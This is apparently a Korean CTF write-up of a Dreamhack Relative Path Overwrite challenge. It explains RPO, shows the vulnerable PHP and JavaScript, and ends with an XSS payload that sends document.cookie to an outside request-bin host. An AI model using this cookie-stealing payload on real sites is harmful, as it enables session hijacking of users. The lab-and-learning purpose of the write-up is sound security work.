본문 바로가기

모의해킹/Dreamhack

Relative Path Overwrite

728x90

Relative Path Overwrite (RPO): 서버와 브라우저가 상대 경로를 해석하는 과정에서 발생하는 차이점을 이용한 공격

문제 정보

Relative Path Overwrite를 실습하기 위한 문제이다.

 

 

• 취약점 설명

Relative Path Overwrite(RPO)는 상대 경로 기반의 URL을 덮어써서 의도하지 않은 동작을 수행하는 공격 방법이다.

script, link등 resource를 읽어오는 과정에서 Host가 포함되지 않은 URL을 의미하며, 이를 overwrite할 수 있는 경우에 resource의 주소 등을 조작하여 공격자가 원하는 동작으로 유도할 수 있다. ex) XSS...

 

• 조건

스크립트명 이하의 경로를 별도로 지정해도 같은 페이지가 조회되는 경우

서버는 하위 요소를 경로가 아닌 파라미터로 인식하고 브라우저는 URL 경로 중 어디부터가 파라미터인지 구분을 못해 전체를 경로로 인식한다.

 

 

• 대응 방안

resource는 페이지의 동작과 디자인을 정의할 수 있기 때문에 사용자에게 통제권을 주지 않는 것이 가장 좋다. 만약에 주어야한다면 path에 대한 통제와 사용자 입력에 대한 검증 과정이 필요하다.

 

 

• 코드 분석

- index.php

<?php
  $page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
  if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
      include $page;
?>

 

., :, /  를 필터링 하고 있어 page를 통해서 path traversal 취약점을 이용한 공격이 불가능하다.

 

- vuln.php

<script src="filter.js"></script>
<pre id=param></pre>
<script>
    var param_elem = document.getElementById("param");
    var url = new URL(window.location.href);
    var param = url.searchParams.get("param");
    if (typeof filter !== 'undefined') {
        for (var i = 0; i < filter.length; i++) {
            if (param.toLowerCase().includes(filter[i])) {
                param = "nope !!";
                break;
            }
        }
    }

    param_elem.innerHTML = param;
</script>

 

filter.js 를 상대경로로 불러오고 filter 변수가 undefined이면 필터링을 안해 param_elem.innerHTML에 HTMl 요소가 삽입이 가능하다. 즉, 이벤트 핸들러를 통한 XSS 가 가능하다.

 

• 문제 풀이 

 

현재 경로가 / 이므로 filter.js 파일이 정상적으로 로드 된다.!

 

 

/index.php/ 을 넣어 같이 요청을 하면 현재 디렉토리를 /index.php/ 로 인식하여 /index.php/filter.js 가 로드가 된다.

 

 

/index.php/?page=vuln&param=<img src=x onerror="location.href='https://bsgtnos.request.dreamhack.games?'%2bdocument.cookie ">

해당 페이로드를 보내며 flag 값을 얻을 수 있다..!

'모의해킹 > Dreamhack' 카테고리의 다른 글

Dream Gallery  (0) 2023.12.16
Relative Path Overwrite Advanced  (0) 2023.12.06
phpMyRedis  (0) 2023.12.01
Client Side Template Injection  (0) 2023.11.25
CSP Bypass  (0) 2023.11.23